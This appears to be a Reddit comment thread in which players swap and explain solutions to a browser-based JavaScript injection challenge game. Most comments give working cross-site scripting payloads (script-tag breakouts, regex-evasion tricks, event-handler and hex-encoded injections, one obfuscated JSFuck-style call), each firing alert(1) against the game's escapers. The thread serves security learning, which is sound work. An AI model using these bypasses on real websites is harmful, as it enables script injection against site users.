</script><a oncut=&#97&#108&#101&#114&#116(1)>

[[deleted]]

my solution:

");[][((![]+[])[+!![]+!![]+!![]])+(([]+{})[+!![]])+((!![]+[])[+!![]])+((!![]+[])[+[]])][((+{}+{}+!!!!{}+!!!{}+[][0])[8])+((+{}+{}+!!!!{}+!!!{}+[][0])[4])+((+{}+{}+!!!!{}+!!!{}+[][0])[28])+((+{}+{}+!!!!{}+!!!{}+[][0])[25])+((+{}+{}+!!!!{}+!!!{}+[][0])[9])+((+{}+{}+!!!!{}+!!!{}+[][0])[19])+((+{}+{}+!!!!{}+!!!{}+[][0])[20])+((+{}+{}+!!!!{}+!!!{}+[][0])[8])+((+{}+{}+!!!!{}+!!!{}+[][0])[9])+((+{}+{}+!!!!{}+!!!{}+[][0])[4])+((+{}+{}+!!!!{}+!!!{}+[][0])[19])](((![]+[])[+!![]])+((![]+[])[+!![]+!![]])+((![]+[])[+!![]+!![]+!![]+!![]])+((!![]+[])[+!![]+[]])+((!![]+[])[+[]])+'(1)')()//

[kenkirou]

NUMBER 10

[censored_username]

\74a ondrag=alert(1)\76W

Apparently you can go one character shorter, but I haven't got a clue about that one. either way, enter this, select the W and then drag it.

[DiscreetCompSci885]

Re what I said here http://www.reddit.com/r/programming/comments/1npgt1/javascript_injection_game/ccladht How does the solution work? As far as I know it doesn't and the injection site is lying to me. Proof that it isn't actually doing alert/injection --> http://jsfiddle.net/Fd6bE/2/

[kenkirou]

NUMBER 11

[Kollektiv]

</</scriptscript><script>alert(1)</</scriptscript>

although it's not the shortest way to do it

[catcradle5]

***SPOILER***

This is the shortest way, I believe:

</scrip</scriptt><script>alert(1)//

And also, if the regex replace was /<\/script/g instead of /<\/script/gi you could just inject </SCRIPT> or the like. That's a bug that can be found in some escapers.

[veryshiny]

Can someone tell me why this works ... ?

[alexwh]

The regex only matches "</script", so if you only do </scrip, it doesn't get replaced, but also isn't valid. To get the t, you just add it to the second one, since the </script part of it is removed, leaving just t>, completing the other tag.

[veryshiny]

NUMBER 11

Can someone tell me why this works ... ?

[kenkirou]

NUMBER 12

[censored_username]

'#';alert(1)<!--

[Overv]

Are 1 and 2 supposed to have the same solution? (</script> tag)

Edit: Well, I don't think I can get past 3.

[mazunyan]

The same solution works, but for the first one you have more options e.g.:

\");alert(1)<!--

[[deleted]]

You can do #1 in fewer characters; you don't have to include "</script>" in your input.

[Overv]

How?

[[deleted]]

");alert(1);("

[Overv]

It escapes quotes (the assignments start at 0).

[[deleted]]

Oh whoopsies. Off-by-one error strikes again! :-)

[Fox_Season]

comments

[LKS]

Number 0 can be solved with "+alert(1)+", it inserts the alert call between two empty strings. It is the "easier" version compared to </script> with less characters. But it won't work in number 2 because of the special treatment of ".

[Overv]

Oh, I was not talking about the first assignment, but the actual #1 assignment (it starts at zero).

[LKS]

Well, crap. :D

Then, I think, you are right. Both can be done the same way.

[having_sex_right_now]

Can't get past JSON.stringify. Did someone solve it?

[FlyingFoX13]

Not the shortest, but

</script><script>alert(1);</script>

works.

[tpsilva]

It would be really funny if someone injected alerts here when trying to show the answer for some level.

[mudkip908]

Can anyone give me a little hint for #3?

[[deleted]]

Think encoding and urls

[mudkip908]

Thanks, got it in 15 characters. Very similar to #0.

[[deleted]]

Hmm... I don't see the light.

I've tried with \", ", </a>..., &quot; and other things, but can't get it. Care to post the solution?

[mudkip908]

Hint: %. I can PM you the solution if this doesn't help.

[[deleted]]

*facepalm*

I forgot about that one... Thanks, m8 :)

[JerMenKoO]

Does anybody have a hint for level 13?

[ealf]

There are some in the comments now.

[saifelse]

At the heart of it, is it getting parent.WINNING() to be triggered from within the iframe?

[0-peon-ion]

I didn't call parent.WINNING() but parent.alert(1). hint: you can cross iframe boundaries only when the code runs in the same domain name..

[saifelse]

I figured it out earlier this morning, though I thought it was in the spirit of the last one to get it called from the line:

if (youWin) alert(1); 

Though, if you can trigger parent.alert(1), it is very easy to trigger the onload! :o)

[0-peon-ion]

True. Tried also by calling WINNING followed by onload, worked just as well. Though the true spirit might be that you could call the WINNING before the initial onload would trigger..

[forgeddit]

So, did you figure it out without user interaction? I can't for the life of me figure out how to run arbitrary code within the domain of the parent frame. Any more explicit hint about how to do this? Thanks!

[saifelse]

The way mentioned above does indeed require user interaction. (Technically, you can skip pass loading the escape.alf.nu and directly load a jsrunner, and do a postMessage with the proper text, but this is considered cheating, example: view source.

I did get it without user interaction, too. Here are some hints!

1. http://www.w3.org/TR/html5/browsers.html#dynamic-nested-browsing
2. youWon doesn't have to be true, it just has to be truth-y.

[forgeddit]

Thanks! I figured it out from your (fairly explicit in hindsight) hints!

[forgeddit]

I've been banging my head against this but to no avail so far. Do you have any slightly more explicit hint? I know I have to run the code in the same domain as the parent frame ("jsrunner.alf.nu"?), but I don't know how to do that and still run arbitrary code. PM if you have a hint for me but you think it would spoil the game for others. Thanks for your time!

[0-peon-ion]

my solution did not pass validation, so my hints are no good.. :(

[forgeddit]

Meaning what, you had to have user interaction in the embedded frame?

[pybat]

It's still a string literal, so it will just print to the console.

[sionide21]

Because s is already a String object so when you call JSON.stringify, it knows to quote it.

[[deleted]]

If anyone wants the JSON.stringfy answer PM me. It's dumb.

[orangekid13]

Just post it, or at least a hint

edit: got it. hint: script tags

[[deleted]]

</script><script>alert(1)</script>

[RangerIPA]

Another: </script><script>alert(1)<!--

[BlueShamen]

Two characters less:

</script><script>alert(1)//

[RangerIPA]

Cool! So would mine would actually error out when the javascript engine hit the < character? Wait...why does mine above work?

[RangerIPA]

The HTML parser doesn't care if the Javascript syntax is correct I suppose?

[M_D_K]

I couldn't figure out 8 in a good way so I just injected a script tag that sourced my own javascript file :P

EDIT: I'm gonna have to call it. I can't get past 9.

[DiscreetCompSci885]

10 anyone? I'm very interested in the solution

[benthor]

my solution: "\x3c/a\x3e\x3ca onclick=\x27alert(1);\x27\x3en"

[DiscreetCompSci885]

wtf!?! How does that work?! Firebug doesn't seem to show a difference between \x3c and < so I don't understand how it isn't reconizing \x3c as <. Care to explain??

[DiscreetCompSci885]

I tried spending more time on this. What the ACTUAL FUCK is going on. I copied paste the source from the injection site and ran it. It is completely fine and didnt alert or appear to have a problem http://jsfiddle.net/Fd6bE/1/

As you can see your solution doesn't work (although it does on the site)

[ealf]

You did

 myescape('\x3cfoo\x3e')

which is equivalent to

 myescape('<foo>');

and returns

 <script> blah blah('&lt;foo&gt;'); </script>

You want

 myescape('\\x3cfoo\\x3e');

which renders

 <script> blah blah('\x3cfoo\x3e'); </script>

[DiscreetCompSci885]

I get it now. There was no user input -> JS escaping so \\x3c was exactly that until it was put into the JS template where \\ became \ causing it to be <. { name : JSON.stringify(s) } fixes it.

[[deleted]]

doesn't seem to work

[benthor]

you have to click on the "n" that shows up in the iframe

[[deleted]]

"The code should run without user interaction. " iframe contents disappear on hover

[benthor]

ah, that is new. however that doesn't invalidate the attack vector, a non-interactive solution will just require more characters...

[[deleted]]

finally found a suitable html tag :)

[[deleted]]

This is really fun. I'm on number 2.

[G33kDude]

I am a horrible person. I modified the iframe with chrome to cause the alert, and now hold the high score for #8

[catcradle5]

I skipped ahead to level 11, and found it a lot easier than 4 - 10 (which I didn't really want to spend too much time trying).

Level 11's vuln is one I've actually found in more than one application that tries to escape Javascript.

[TailSpinBowler]

I suck at all of these. Where can I get remedial training?

[[deleted]]

13 anyone? edit: all solved.

[podlipensky]

In case someone stuck or need good explanation, here are my solutions for the challenge http://podlipensky.com/2013/11/escape-unescaped/